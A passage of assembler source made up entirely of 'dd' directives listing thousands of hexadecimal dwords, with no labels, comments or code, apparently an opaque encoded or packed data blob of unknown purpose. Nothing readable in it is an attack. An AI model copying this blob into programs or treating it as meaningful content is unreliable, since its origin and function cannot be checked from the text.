2EE01BD7h dd 16888D7Bh, 0C72CBC40h, 54D2AFEEh, 9DFBD75Ch, 1F0E984h dd 0FB3C38Ch, 0DE885221h, 0A6401FABh, 2E7838B8h, 6AC5F9FFh dd 4A8FA3B0h, 54D02287h, 4E256744h, 9CEDC895h, 45BD356h dd 13F3C9BFh, 0D277E2BFh, 2AC2F5EBh, 1BE8BC4h, 0D5498BA5h dd 0D1BE2025h, 5AAA41B7h, 73B69520h, 2D080063h, 47361298h dd 1E6952E9h, 2F00D762h, 1AE1B8C8h, 41DD297h, 0B94F26CDh dd 3A38807Eh, 2213A36Eh, 4D00E5C1h, 8FA551EDh, 0F71EC192h dd 3069A27Eh, 94BDDD4Ah, 978180C0h, 83F7B61Dh, 4F1A014Eh dd 0C4E9CE9Bh, 0D7D07F63h, 7B5B0EA2h, 127C4A40h, 4BFBA27Ah dd 8000E45Fh, 0B551BEF3h, 70F5ECCEh, 59EB013Ch, 0FE7DB252h dd 0A5F2ECC2h, 3EAC018h, 0B518E910h, 8900A46Ah, 0DF214D6Bh dd 4994799Fh, 0AD66CF7h, 686F1B11h, 0E790292h, 0FE606526h dd 0F27198Ah, 61E2D77Dh, 835E0805h, 3C000316h, 3E646A5Bh dd 9685346h, 494F7644h, 0D88A09DDh, 9D809B1h, 3B032ED3h dd 0CDA0F72h, 0BA7E47Dh, 710EA0D7h, 51684DDh, 0C30349BDh dd 0E6D09224h, 4F23EAB0h, 1320A09h, 67165FDAh, 62F5108Ah dd 80C6B23Ah, 6254148Eh, 3CC49067h, 32373917h, 6024500Ch dd 0EC14948h, 8894C621h, 4583E02Ah, 544545Eh, 0FE4551B1h dd 7A6AE5F9h, 0CCB60F85h, 14139310h, 0D252C768h, 0D68F2031h dd 32A32589h, 0A809979h, 0E976E35Dh, 34849D6Fh, 4525AB5Ah dd 8433E2EAh, 239458E9h, 7E99A7AFh, 0E5B3F82Dh, 0B85F1622h dd 2A74B2Ch, 0C691FB93h, 6187C183h, 39B63B4Eh, 19562F80h dd 0B0BF6132h, 2D66BD5Ch, 63593C55h, 95B5E60h, 0E91C0877h dd 290C4CE1h, 0BF5292F8h, 0BBEDF098h, 4828BD80h, 2D7A0F6Ah dd 297257B1h, 0D15456EEh, 764DBDA2h, 80128157h, 786CD2E3h dd 88529D04h, 2DC1FEDAh dd 0C0D0F65Bh, 0A0561E8h, 0E0FEAD2Ch, 302B6F34h, 0B528E6C3h dd 0E224F67Eh, 8F3EB307h, 4E3BCA80h, 5003BEDAh, 0C35AD330h dd 0AFE9B0DBh, 6888C028h, 36ED1849h, 2C4B8CB0h, 0A6BFA700h dd 2738E17Ch, 254F931h, 5DA25552h, 0D81B1D43h, 95356FEh dd 4B020EBBh, 5FB0D25Dh, 0E9F3A45Bh, 0DA39512Fh, 0ED622D31h dd 1674C998h, 7544E9Fh, 2CBAEF80h, 53F800D3h, 0B9FBEE9h dd 4FE5550Eh, 51464989h, 9DD256Ch, 0FF6557B1h, 0CE7F85BCh dd 0B201D12Ah, 1ABF6475h, 245B99D4h, 0D14CFD9h, 6E3785E9h dd 4B3D6AACh, 8714432Ch, 31CFF780h, 202881C7h, 0A64A120Fh dd 6EBB39FFh, 32E2D012h, 8A4429CBh, 0DED3E913h, 7038B798h dd 76FEB561h, 4571E9C1h, 563C7273h, 964E82DCh, 28F3AA43h dd 8CB90E99h, 600A2992h, 0D30D370Ah, 0AEA3063Bh, 5F5A723Ah dd 297DE3B6h, 12D81E99h, 97D568Bh, 317030E9h, 91F9BD5Fh dd 8031BA71h, 0B433CEF3h, 0A3B5430Dh, 9859E881h, 7739587Ah dd 67CC3D70h, 30FFAE16h, 8555197Dh, 564281B5h, 0E220925Eh dd 916603EEh, 0F02999B7h, 0E9CBFBDCh, 4AC76D50h, 0B8F141A4h dd 0EC0B3B36h, 949FA560h, 1F4E2571h, 0F025C746h, 906462Ah dd 3B700544h, 0B22F19D0h, 0A0C5EEB4h, 75252777h, 834B0B62h dd 26F501C3h, 26192945h, 0A56DF1E9h, 0E8127574h, 0C51FE71Dh dd 1A29674Dh, 0C098C1EEh, 8B2E3021h, 13814EA7h, 0AA818653h dd 1DE9D2F6h, 0F3992A1Fh, 0C0973628h, 7D8F1DE7h, 9DDBAAA0h dd 2D632058h, 272BC5h, 0CF44DC44h, 0EB5EB50Fh, 2E84A109h dd 3870C504h, 0F3ED540h, 64F70C5Eh, 0AB2D64D5h, 40D2B58Ch dd 0E6B8663Ch, 181F2AE7h, 0F409B13h, 40934A05h, 0F55CBDDAh dd 5CA16009h, 220CB9D0h, 5B9A5281h, 0BF713E00h, 9E9EA01h dd 7A3A9DDFh, 4277C262h, 0A337C013h, 8E50EC0h, 0C54BCDFEh dd 82DF3E84h, 4CDE368Bh, 14184BBh, 0E8B53E21h, 83BB0804h dd 0F3706CB1h, 3058E70Bh, 8DFEC5F8h, 41534367h, 6B26FC32h dd 0B980E9F3h, 6BAB5D2Bh, 0A2D12925h, 0BBE115Bh, 6983250Bh dd 0C0AD0D27h, 1829F6DDh, 1087B09h, 7E795FF3h, 0D9D17752h dd 97B5784Bh, 0AF965514h, 2074443h, 0AE97BA18h, 10D48357h dd 68927D25h, 0EC50FA0Bh, 0FC252194h, 0FAE9F8D9h, 2558CAAh dd 74ABD9C8h, 0EEF288C9h, 0F5EF720h, 8ACC8631h, 9B0BD406h dd 5D63B247h, 7CEE1330h, 0DF970175h, 325E2D33h, 0EA0412EAh dd 78101EF2h, 7128CD19h, 3A87BE30h, 0DAA74ACAh, 0D5B148D5h dd 0ACC90969h, 3FF9D621h, 3B56F660h, 1E177C3Dh, 0AF6AC2CEh dd 42685700h, 4F03FD19h, 55303558h, 0DC29C71h, 72CD0849h dd 2561515Dh, 0CD813865h, 5F17B445h, 0AB2D052Bh, 0EA8F4087h dd 16AF4F9Fh, 400BC2ECh, 864D7F1Bh, 0ECAB1CDBh, 0A7550BADh dd 8FD0017Ah, 3B030881h, 27E911C8h, 17DCDC0Eh, 7082054Fh dd 0F7BBC932h, 5D970FF0h, 146CA08Eh, 73002D20h, 3572024Fh dd 4CD78564h, 381685F4h, 0EDCE452Ch, 4C8FAB2h, 0D8024A04h dd 6C40CBBAh, 0E4D0315Bh, 42DF43Ch, 3C07D5BCh, 0C233107Dh dd 3D4817C0h, 0EB2F3128h, 2EF041h, 1EF61BA8h, 6B1999BDh dd 97257D98h, 0C6447715h, 50CF0116h, 68012E8Ah, 261D2140h dd 8BF86BE9h, 4B86BD02h, 67601408h, 209CD81h, 806C8270h dd 1A2A3741h, 520CC235h, 5B61EDE1h, 0C28B3BE8h, 89FDC527h dd 456B840Ah, 0C235ADABh, 7D23A668h, 407FC71Ah, 20695115h dd 840847BCh, 166EC73h, 31B4F59h, 0BE68E2E9h, 53FEDC1h dd 0B6F58345h, 3508051h, 68DE7542h, 0BFE4312Ah, 0FA4FAAF8h dd 0BA2F8F29h, 75FAE125h, 7BA1AA5Dh, 0FE08942Ah, 5F4FBAC2h dd 0CC817FCh, 5065E909h, 1D15E78h, 0D39E85DFh, 0FAFC7F3Ch dd 64D9B310h, 31920DC0h, 3D105DF1h, 3004AFB0h, 0DA8858C3h dd 800EB4CBh, 0F2661ACAh, 6E40365Ah, 10E8BF42h, 0BC4A7BD5h dd 7F388AE1h, 0B00D08B5h, 27EF702Fh, 0C2930ABDh, 732035F9h dd 6A68024Bh, 0CC48B569h, 772E9731h, 2D18A982h, 33E93EE0h dd 7B5C7F1Fh, 520401FBh, 0FD50C5BAh, 89251E2Bh, 0F052A942h dd 6A2C5616h, 6CE36907h, 0B008C463h, 271AACEBh, 38607F9Ah dd 480D54Fh, 0FBDC974Eh, 0F9E8C56Fh, 0F71750AAh, 91718E0Bh dd 23CE1700h, 0E5B0B53Ch, 11EEEE74h, 98829D5Ah, 242676FAh dd 0BF576239h, 529F745Dh, 5C93E545h, 80C173E2h, 453B9C3Ch dd 7B61BAA7h, 2AA75FF0h, 9FF017F0h, 2CF15212h, 0C4BE0B17h dd 103EB8D0h, 5C0D1423h, 0D4373968h, 3EE14407h, 61C32AEAh dd 5B6FE90Fh, 87A0223Eh, 85425323h, 5069B2EAh, 8802C65Ch dd 0E935EC62h, 267E55DCh, 0F90915A4h, 4A436377h, 1ECCF038h dd 0AC6D6681h, 120C0718h, 7217E0B9h, 7B0C2F9Dh, 4ECBB353h dd 0FD8CEE59h, 0E654B75Bh, 5F630CBBh, 126C8658h, 162DA0Dh dd 3970C3F4h, 4BE13ABBh, 1F24987Eh, 0E7E9544Fh, 620BBEE1h dd 3D2E0F0Bh, 6842E1C1h, 45887E71h, 6A2C1F3Ah, 5D7F4B09h dd 5E167344h, 6EA8B021h, 4FDEA304h, 80ACEBF2h, 0BFEC0B73h dd 0ABF47FE5h, 0C35ADDC9h, 190B8025h, 0BB2F41E6h, 162813h dd 0E283AB0Bh, 43B4F7E3h, 1A86E910h, 0EB12814Fh, 65A0E99Ah dd 74E92FD5h, 0B95EF7D4h, 77E9097Ch, 0A4DB778Fh, 0E962684Ah dd 4E89582Ah, 5F86E057h, 0E0EFC13Eh, 7DF875EAh, 2E5B00Eh dd 8A45727h, 0DC814858h, 0D68B0BAFh, 0DBE9D0A1h, 51660159h dd 0AFD8341h, 367784A7h, 127EFD66h, 6F8AEB91h, 0AF0ADC12h dd 618F4DE2h, 81CFA313h, 0B31002BAh, 0EEAB220h, 3E5C2754h dd 73EBF2C1h, 0A9199C0Bh, 0C3F260Ch, 0EE661636h, 39F3C7A5h dd 548D8382h, 0A103CABh, 19972C76h, 0BD2F0DEh, 0CA7D016Ah dd 0D785426Dh, 43CB73D0h, 933C55Dh, 94D6026Dh, 0FFC78342h dd 76972FA0h, 0F4B63DFCh, 0B87AE683h, 66640E68h, 40737E1Bh dd 5DB9C123h, 95B63864h, 4A07F33Ch, 465AC71Fh, 7279D819h dd 200FB040h, 0C12C6DC6h, 0CE0B99EBh, 9B2D48CBh, 69523751h dd 0FE11574h, 0D4E393Eh, 0B9480A30h, 0C6179BD9h, 0DDDBF009h dd 0EE50E078h, 304EE908h, 28FA8084h, 562768C6h, 0A5DC714Fh dd 2860395Eh, 903CEF5Ah, 2957002Dh, 0F7011463h, 4D4C0DE9h dd 550BDE73h, 81359CEh, 2D028ECDh, 40721A39h, 0A205C848h dd 0EB41FD07h, 0AEBF45C1h, 0D3486688h, 811D0412h, 2E74E770h dd 41251152h, 62D85792h, 1315992Ah, 6BA0B142h, 0E983ADCBh dd 6102E5D2h, 0B46D5FEAh, 7B28F774h, 0BD550708h, 3661EFF0h dd 0C1E9EA29h, 30E5AEE0h, 5E337409h, 51E0506Fh, 4849F32Dh dd 1859F2B7h, 0C1C5A3Ch, 32201553h, 0A0D31E58h, 0B0E0EF87h dd 759DFD89h, 25C23F1Bh, 67CF85C6h, 5EFE8554h, 0C7A98357h dd 0C516F380h, 9509257Bh, 0D80FDF14h, 0DE071C02h, 0F0899394h dd 0FF25E99Ch, 0CDBB6863h, 80E85908h, 0F869E304h, 5950EA36h dd 0B8500008h, 10ED5E91h, 0C72F4AE9h, 0E3288D71h, 42BBF1DCh dd 300C085Fh, 8D6F1437h, 38209C1Bh, 56555A27h, 613D0A42h dd 273C1CE1h, 500514DFh, 0BD87855Ch, 4CB37D3h, 0B7098685h dd 8477CB8Bh, 0BDEC3B2Eh, 0E5F4FE92h, 0C994D4Bh, 1044D52Ch dd 0B2A34F5Fh, 3FE3B74Eh, 2B927FE9h, 1BB05004h, 0DBE851B3h dd 0EEEE4A7Eh, 0B55BC6DCh, 682025C5h, 2F084595h, 92909B7Dh dd 0BF87A1Ch, 0E555F659h, 0EB35A07Dh, 909C294Eh, 0C6D34844h dd 60041F04h, 96F3807Eh dd 4E4FCC75h, 0C600ECB9h, 30A9B77Dh, 0E988F301h, 0C8165A11h dd 0DA8333E8h, 0A3845D46h, 0C0F3EB56h, 0D6CFB3A4h, 0A52AB21h dd 2618A039h, 60CED9CCh, 24E0514Bh, 167964A6h, 0C9CBF58h dd 0E36C0D88h, 0E96E2910h, 40A5404h, 0FF014766h, 680BEFCAh dd 1E557D79h, 8B5B4BB6h, 30292457h, 16426887h, 0EC8126E4h dd 613A8B0Eh, 1984D0h, 950CC368h, 0B82B77A5h, 89B093D5h dd 1262260Eh, 82A810h, 40B20806h, 840FD435h, 2DFCE7B0h dd 7A25DF0Fh, 3303B32Ah, 0C42E98AFh, 0B44A4DBCh, 0FCB4ED89h dd 479079BEh, 3952F540h, 7577C688h, 0ECEE4F5Ah, 61AF5AF8h dd 5105EC12h, 0C219868Bh, 0C54071FFh, 2E6F8057h, 3EEDDE4Bh dd 0EA8B04EAh, 0C40ABC6Fh, 8CBB27D2h, 681251A7h, 7E8907EFh dd 0E9B1D82Bh, 0AAA4A26h, 906C488h, 0F7D0665Bh, 0DCDDBBA1h dd 7E05CD81h, 0B303E937h, 5FEFB047h, 26475F09h, 0E14FB2Dh dd 0B3B7D5E9h, 21B20752h, 0D007B704h, 0B1B353A3h, 4D2DD828h dd 3CF837C9h, 0EDC55B4Fh, 33257F80h, 6829E419h, 60874C7h dd 9F73EAE9h, 999701B0h, 0AFFC0A9Ch, 2FDD95C4h, 11AC0B72h dd 0B63FF785h, 7C7B7E91h, 0B669A097h, 950ED83Ch, 88260DAh dd 0AF5AC809h, 15FDFC97h, 881FA222h, 0CEB441EFh, 0F465EC80h dd 7292125Ch, 4E1AD548h, 0F8BB9794h, 5043A1C7h, 3B40BFADh dd 0BBC55BB4h, 970BDEB1h, 13E576F3h, 0B010E828h, 4830C2B6h dd 832088C6h, 0A63CBB05h, 5AABCBAh, 4B3D78AAh, 42DC0295h dd 0D9F456C7h, 0D83006D1h, 9FA301DCh, 0A2942CECh, 9F6E5951h dd 81BA4F09h, 2C1AE92Fh, 7B5E3B6Dh, 0B027BA9Ch, 26751FC8h dd 9B4B7Eh, 0BB144BBh, 0F0BAD6F7h, 7CA33C02h, 57A89FE9h dd 30C5807Ch, 98EC8824h, 563E6812h, 0E99CFE54h, 40EC60A2h dd 67BE5BFh, 8CB97402h, 55E42DFCh, 92BA7007h, 8EC05098h dd 0E0A9355Bh, 30572ADAh, 30AC08ECh, 0B4BE6C96h, 8CBC7005h dd 6CB931A9h, 0C7800229h, 60FD304Eh, 0B1F42178h, 0E55F9B66h dd 20F3EE1h, 6596FCBAh, 4E1654BFh, 127EF31h, 4B1096CDh dd 0AF2BC5B1h, 11308D70h, 0E92F0973h, 7349D680h, 3CDE60F5h dd 0B4D02976h, 31580D08h, 0C9ED69CDh, 50B80B2Ah, 88054016h dd 3BD868D3h, 0DECFD3B8h, 0E446F48Bh, 7FB15B5Fh, 0E9A09768h dd 399437C6h, 186765EFh, 20CBBCF8h, 8FE70D70h, 0CFC9FAAh dd 28A0C657h, 7DF1FEF9h, 19B627CDh, 161CCC22h, 684BA4FDh dd 30B1F1FAh, 0CB40D58Eh, 5C5C9459h, 0A5225697h, 0B509B7DAh dd 0A906EA34h, 0DB7D63DCh, 56EED4D0h, 0C2214096h, 6BE3319Dh dd 993A38B0h, 232BE62h, 0CE26B2E5h, 0DE82572Ch, 8240CA5Dh dd 0B4943B79h, 1E695AADh, 5F6D6850h, 2D588FD4h, 6A3503F8h dd 0C2AB17D6h, 0CA5FEA6Ah, 0FBC4D5E5h, 59DA8BB7h, 0B609BCE0h dd 1A02E529h, 0D955CEDBh, 1B504958h, 8D0DC407h, 0FCEB8B6Ah dd 0ECD75AB2h, 500505C2h, 0F1E0E7FDh, 460E20D4h, 6275A54Dh dd 475190Eh, 0BE9AE5Ch, 1C40F84Eh, 4C9D80C3h, 0AF0C98BEh dd 257551Ah, 0D46E0468h, 74C05F70h, 0AA327763h, 96B5A10h dd 59D37Dh, 1923FC05h, 0B134E93Eh, 8E04655Ch, 0A8BBCEEEh dd 0C06D3985h, 0C2F49D2Dh, 0ADAD002Dh, 2C7A5E64h, 2540F031h dd 34D2EC7Fh, 0AFFA2034h, 81C0E1BDh, 8726ECEBh, 10AB224Ah dd 582F083Fh, 0ADCBB08Ah, 17619657h, 4121F3E9h, 2B59191Dh dd 0EBC33412h, 0EDD4A618h, 2F5128C4h, 0F4F26BCDh, 50E90880h dd 849D755Bh, 0D93F93ECh, 3A054654h, 0F3815400h, 2F6AD35h dd 0D845B938h, 3075CB14h, 13B2E793h, 9031852Dh, 805F1CA5h dd 0F6577033h, 884DB067h, 381B2FE9h, 0D4DAFC6h, 33317DD0h dd 0F7299264h, 0BF3175DCh, 0F9AAA2A7h, 79AE855Bh, 5E3CE96Fh dd 8A5B171Dh, 2C4F7FCBh, 16095CAFh, 0B00BFE6Bh, 5F8E24EAh dd 0E8CD70E1h, 0ABB53CCh, 254D3B95h, 36081883h, 0C525D62Bh dd 0BAD1C307h, 0D01A57B7h, 88297B41h, 260221C7h, 0D95B1EB4h dd 3FF99EF1h, 139CDCE7h, 0D82EBF1Bh, 0C8578427h, 25630C1Dh dd 0E7C1649Ch, 5641CF01h, 0DFC7A0Bh, 0B68AFAA4h, 284C3610h dd 5D4AB553h, 0CB3A06B1h, 2E4A7F39h, 48E9B816h, 0A7D86E85h dd 2F44028h, 0BD86C5BFh, 958233A0h, 5B5209F7h, 1D6805AAh dd 0C461AE73h, 6602F35Ah, 21612F8h, 65B87627h, 4C740889h dd 44C47925h, 0EB3AF7Fh, 7A0F0905h, 70F2FF3Fh, 0EBB21C9h dd 0EA2C5A20h, 0B3015A35h, 16910010h, 0A6BE497Dh, 0EF38045Dh dd 0B48FA9E9h, 0ED5B8AA8h, 99F67A2h, 32DFF564h, 1BE41F1h dd 0C9D977C2h, 4C8B20EBh, 903F9068h, 15920948h, 3D0F1465h dd 0B92D0EF0h, 0E61496Fh, 41BF40B9h, 1327A44Bh, 0A3627468h dd 0BA530244h, 0FE0144E6h, 3C9C60D0h, 5F267BBh, 245F06A1h dd 1C01358Bh, 0E92AA85Eh, 0F66B84E1h, 0E0465086h, 20851431h dd 52035FB6h, 34E0C9B7h, 3090C2FEh, 4B474C3Fh, 27DB9AEFh dd 0B8464082h, 0AC4E26AEh, 6FD10BDEh, 0B751FBD4h, 0D18B17A5h dd 680767DBh, 570941B9h, 43C26F59h, 0C7570945h, 9D618183h dd 2B4E70E9h, 55E44C8Dh, 946911Bh, 88542C5h, 0CE40BFF3h dd 695B6751h, 50F87601h, 24E908B9h, 8352B69Bh, 56DD3279h dd 0CAE90EABh, 4B47E867h, 221D2D27h, 0E12FD9Dh, 0FE1D0BB3h dd 1774C1A9h, 9D07CF70h, 57B50E20h, 21243A76h, 555970D9h dd 5F783A83h, 0F6E83B14h, 0A2096702h, 78E3E945h, 4D547692h dd 5A01BE25h, 0FB407435h, 0C6C13B59h, 0E050B123h, 260292F3h dd 2D1B0FD9h, 0D97DB742h, 0DC14630Ah, 0F7CE3500h, 0C155FE39h dd 253BB8E6h, 0B25F2DFCh, 9492FD05h, 0A7097B77h, 84B0B27Dh dd 28AEA303h, 71B754BCh, 1CB0EB26h, 43B41F7Bh, 0D8AD9049h dd 0DFF7800Ah, 90F24771h, 0B897164Ah, 2D930804h, 0A0BAE9D8h dd 841B743Ah, 7A71EAD7h, 0E87EFE65h, 11C7C64Fh, 9CFD9510h dd 9C00FDCBh, 0FE69F7E9h, 74BE7D3Eh, 2AC0DB95h, 51E50BEBh dd 0F757D5Dh, 0A065A0Ch, 3942A50Ah, 62AC0787h, 75EA41D7h dd 0F4DD78D5h, 10E94FAh, 7CE37F05h, 0AF166F8Ah, 0B897B8E2h dd 7D35F2F1h, 47C4642Bh, 4E688C88h, 3FE28180h, 1DB3AE8h dd 2971BABAh, 360C8239h, 0F7310969h, 0FD4D8282h, 450DF6C8h dd 815E1B38h, 7FB22D40h, 0BE207E5Fh, 0FEBA7252h, 876A019Ah dd 0E8E94DEAh, 0C9462C4Bh, 0D9DB7DCFh, 5A92FC0Ch, 35809E45h dd 0D12AE34h, 0AEF458BDh, 0BD52D988h, 0FFC98145h, 5B71E790h dd 0E4FD2587h, 9914B3Dh, 0A9DFBB70h, 3A507F5Eh, 5EA9CB4Dh dd 0E982CCE7h, 4EC4DD6Ah, 0E87B6820h, 3E69525Ch, 980ED404h dd 33C6FE2Eh, 0EDC509FBh, 3E609114h, 0A62D056Eh, 91820957h dd 0F7FEEEB4h, 0F24BF798h, 0C9DEF99Fh, 0B3738282h, 87DA2900h dd 285A4CD3h, 7BFE5706h, 0E92516B5h, 6667D3Fh, 0D35106CBh dd 0AAA6CE2Bh, 0F4BF34F7h, 0D572508h, 0A26F474Eh, 3C9458C2h dd 4E99A7F1h, 0D9B02021h, 8E2D682Ah, 9694A2F4h, 95EF8001h dd 3CD3285Ah, 0C782260Ch, 0BBC4E9E3h, 0F3369C55h, 0FD84003Ch dd 35B2EBFEh, 12B45F7Ah, 6D53A48Eh, 434002F4h, 2F295858h dd 8F25A02Eh, 1CE59B2Ch, 0A0D9570Eh, 0E20BC1AEh, 0E105C23Eh dd 847E906h, 5DEE9354h, 0E9F01B9Ch, 3A9D0AD9h, 8E9F6AE3h dd 0EE134EF2h, 6889C6A6h, 0EC09A87Eh, 0E9307C73h, 1423B055h dd 685F808Ch, 0CCE4674Fh, 0BFEF4BE5h, 0C24558Ah, 98D112CAh dd 0FE652623h, 0C9BB2145h dd 0E7809D41h, 0E7505860h, 9729B471h, 21C6C0E6h, 0CBB75AD0h dd 49C39297h, 0F03E7727h, 7D04AD88h, 4C315B89h, 2FD5B2FAh dd 24828C29h, 0B1441E9Eh, 6409DF0Eh, 3B096F68h, 323069FFh dd 962A5A8h, 23E357Bh, 0D386E4FDh, 7ECBFAD0h, 4D6FE909h dd 0DA7A8B10h, 7B1C7D97h, 366D950Ah, 7E00F844h, 0F71759DAh dd 0E9550CD1h, 0EA396150h, 902675F0h, 1A009B06h, 0E999B43Ch dd 7363E12Bh, 3CD2D64Bh, 9401E327h, 4AB826A7h, 0E2F74B5Dh dd 1AC5DF5Dh, 21FBAB89h, 58E70869h, 0F9018A20h, 0AD2B29CDh dd 50920553h, 9001462Ah, 0C065D61h, 1797E3D8h, 0EC6D3564h dd 3AEB269Eh, 8E86F1Fh, 70AC1B09h, 0C460F5F3h, 413FBEDh dd 670B0BDEh, 589E31C5h, 9FA408E8h, 0EA2D0EA5h, 6B5DC449h dd 2788BF54h, 3680A37Dh, 5D122FFCh, 3E19F700h, 78975A29h dd 0FF2875CAh, 0ECD9B8FEh, 51469455h, 0C3C56AB4h, 7DA3B6EAh dd 0DA57C227h, 0FAB40025h, 80ADB753h, 4997C8CFh, 0FCC03A61h dd 39CCF65Bh, 28FBFE4Bh, 0B5A515C4h, 0FBBB2780h, 7D4F955Bh dd 1433EFA4h, 953C7E01h, 0DE97960Bh, 77B1DD82h, 0ADBD8ADBh dd 295E81F4h, 0DB6052CEh, 8A1D1F5Eh, 42F5004Ch, 0F1E94A7Bh dd 0B91C9AB4h, 0D14C6228h, 51095EAAh, 0EF1A5F41h, 4443CEC0h dd 214E9405h, 17BA5FF9h, 0DE60EB7Ch, 26B4DDE9h, 3B140A1Fh dd 0EC890B97h, 49CBD29Ch, 0B8BB7F30h, 362C7C3Ch, 6225EE49h dd 0A4EBFC46h, 8D670422h, 0DC94FB11h, 0CDE90803h, 2A657664h dd 6889372h, 8E7EACCFh, 1052E12h, 31A85180h, 0BA9AC5EFh dd 54936EE2h, 0D06B16EEh, 0A596655Fh, 43EADBFCh, 0F3CBFF16h dd 8224BB96h, 3CA3ECAAh, 0B0D8B950h, 5027A81h, 5F5A3C96h dd 4A07F728h, 3062CB58h, 21E9C829h, 2D5FB276h, 36C638B1h dd 5147B74Fh, 0FD0B4107h, 0A3AD3A4Fh, 7680BA2Fh, 0B469EED3h dd 0EE5713A4h, 4AE07298h, 824E641Fh, 7068106Ah, 0F6059AB1h dd 0C0C9FED1h, 63CB941Fh, 0D21BB39Ch, 0AC70F106h, 70042DC9h dd 0A057E851h, 0E8071B6h, 82B121EEh, 0CD09F10Bh, 0C9554789h dd 0CE3278E9h, 2E52E602h, 7E75481Dh, 4BC41642h, 0F0742961h dd 0D215CF02h, 0E149F57Ah, 0E5E67E83h, 2E622A25h, 0C55AD455h dd 0AD9AA062h, 34F2D05h, 852126h, 0BA68B500h, 981D6E17h dd 0D8C2051h, 6470D0F6h, 0E197749Dh, 0E0772D5Bh, 0E9186C59h dd 78317E4Dh, 0A92AE126h, 32A6C62Eh, 79F11DE1h, 29F7C5B0h dd 91A1EFCBh, 6D22C2CDh, 12BDEDD3h, 0B5403353h, 18932538h dd 5F060BBBh, 3E826317h, 8A574358h, 3502135Ah, 80678977h dd 0E24F7C96h, 1A436141h, 0E2592746h, 0E610DDE2h, 46BD58CDh dd 5A682D32h, 20BB63D6h, 0FE5B00EFh, 19B551C7h, 973ED80h dd 5028E3FAh, 71499854h, 0CCF25AA7h, 814775B5h, 2B7D813Ah dd 64A5A867h, 9BE9A447h, 834FDC8Bh, 7CB83308h, 51F4EDD9h dd 8A2D93B9h, 0BE0C292Bh, 0FBE88863h, 5CD8FDD4h, 25B398C5h dd 6CF7FFE1h, 52B7247Ah, 0D7F19D33h, 8854A0C7h, 0D6F6E61Dh dd 5A66F407h, 0ECD0D460h, 0C1872FE9h, 0E0D57CEAh, 0C5451A9Dh dd 8B69114Dh, 9BF224D7h, 4B18FAFh, 0E7883D9Eh, 0D59D8402h dd 0F7D079A1h, 0D5E48BFEh, 882DF160h, 6617F239h, 73F16EEh dd 0D21C16F7h, 1D49065Ah, 0FB6DCD5h, 61E5C7DDh, 0BBCB5A75h dd 6856F2FAh, 3BCB282Fh, 0F0CAC380h, 0EBEEC144h, 0D7B5FB5Eh dd 0A8F859D7h, 0B2545112h, 5AECA521h, 0EAE97E04h, 0BA31FFBCh dd 66705B51h, 0EF5EB637h, 0FB620369h, 17894675h, 0F85F6068h dd 0A878C43Eh, 0FA9772ADh, 0ED23438Bh, 0E21FE984h, 0B4BEECAFh dd 0E9D9E980h, 3C0097A8h, 0A4CAA22Dh, 0C27C9C7Ch, 0B50B8D4Eh dd 0FD3E8929h, 5E5B1060h, 0D14B9CFCh, 2C443E9h, 3E8FCD98h dd 0BDED61F0h, 4041F268h, 41CE29CBh, 2C2E018Ch, 4597870Eh dd 2D318BB3h, 0B2A5F8D9h, 24717DD3h, 4AE90CCCh, 5A4009CFh dd 560282E6h, 4559C568h, 86AAD943h, 0A6DEF74Eh, 3161BA41h dd 1D9A5F20h, 9219883Eh, 38F1ABC6h, 0FE7CE1F6h, 0FBF1252Fh dd 0E6FC0FCDh, 30BEAD3Fh, 7B7D68B5h, 7E8098B7h, 19702C5Eh dd 0D82C0B2Fh, 153F4C79h, 12166538h, 34450AE9h, 0F6EE595Bh dd 0B59CE0Fh, 0CA7654D4h, 1AB7267Ch, 10FF45FEh, 34613F0Ch dd 0C64F5FE0h, 0EEFC4DAAh, 0CBD9D51Eh, 678B059Fh, 0F0F482E5h dd 5E07852Dh, 30B4A3ABh, 0EB896F59h, 0E6214E5Dh, 3AFC4B60h dd 4342C725h, 767D191Ah, 0AF9649DFh, 5AD5E927h, 0CBE0920h dd 4DDC0D4Ah, 0EF74008h, 0B2E450ACh, 7B01123Bh, 3A291B0Ah dd 79D248EDh, 0ECDD254Bh, 4CE92D5Bh, 8477A389h, 0DF82031Ch dd 0C982A018h, 0E228226Ah, 0B3D9F941h, 58C4B829h, 0CB2CEA57h dd 28F830E9h, 7C4C052Ch, 0F765DD01h, 9D6848D0h, 5558973Eh dd 5A5DBFC9h, 6D5360D3h, 0FC2D16FEh, 0BE3C0D28h, 6340D416h dd 248D5A9Ch, 35D5E27h, 1E72CE81h, 48FD63B2h, 4CE85315h dd 0BC17AE55h, 487E91E7h, 2E440635h, 0C2263A8Eh, 81027720h dd 0D878DD31h, 224AF090h, 44458DEFh, 2BB1AA09h, 0C897C32Ah dd 19E2BBB4h, 0D17DD284h, 671F3D05h, 62C0407Ch, 0CEBE7528h dd 7EE47925h, 67886FA4h, 0C145702Fh, 0BF5752B5h, 2E1F7E2Ch dd 0B15C950Ch, 73330ACFh, 195364Ah, 55176F22h, 7648053h dd 89616235h, 0AB5A4BD3h, 5DFB7E09h, 266054D9h, 9F0EBD7Ah dd 4531D0D0h, 7C04C1B1h, 0A5404423h, 8046B49Bh, 75862EF7h dd 2CA0298Fh, 364A83E9h, 59CC24A9h, 0CEBA113Ah, 15A10BFh dd 881C90C2h, 2589D308h, 0AE115B0Bh, 7AE3059h, 0C3771460h dd 4AAA7898h, 8165055h, 3C885F18h, 242FE959h, 0C7D500F4h dd 54D9B926h, 82837F35h, 57467DC1h, 8A78F5D9h, 58024EE7h dd 1691485h, 891BCB68h, 79F2E331h, 30408872h, 0F3E78B3Eh dd 1CAE59FEh, 5F4A2027h, 0ED5944EFh, 445D0BABh, 0F5E7B03Fh dd 7064FE3Bh, 216C1E6h, 0FCE84048h, 5B65C480h, 5801E5ECh dd 0E967B252h, 0EF2B27DDh, 12EA5A57h, 0B5EEAC2Ch, 1385CF0h dd 88056BF7h, 0D44EF831h, 0A259E24h, 0E7DED86Ah, 83EB150h dd 0BF5FFCFAh, 9E5B7DEEh, 5F536082h, 0E1A53217h, 1986FE6Bh dd 0DF0ABA68h, 77AFD725h, 8352FEFh, 6ABB3E80h, 70CEE90Ah dd 87CB1FC2h, 1515264h, 571C3911h, 0BBF96B36h, 0D0728907h dd 7AF3F04Ah, 5F4A9EDBh, 38BECB00h, 90958ADDh, 435ABFF0h dd 88B0E916h, 315AFFB3h, 0DF9BE0h, 2E32055Fh, 9CC8526h dd 0B344BC9Eh, 4AA25D4Eh, 2BCDAB96h, 37EEDDC3h, 0A2C093E1h dd 66551203h, 0D2423BBDh, 168541Ah, 69BE6852h, 415AFD80h dd 0EC049781h, 0C44EE94Bh, 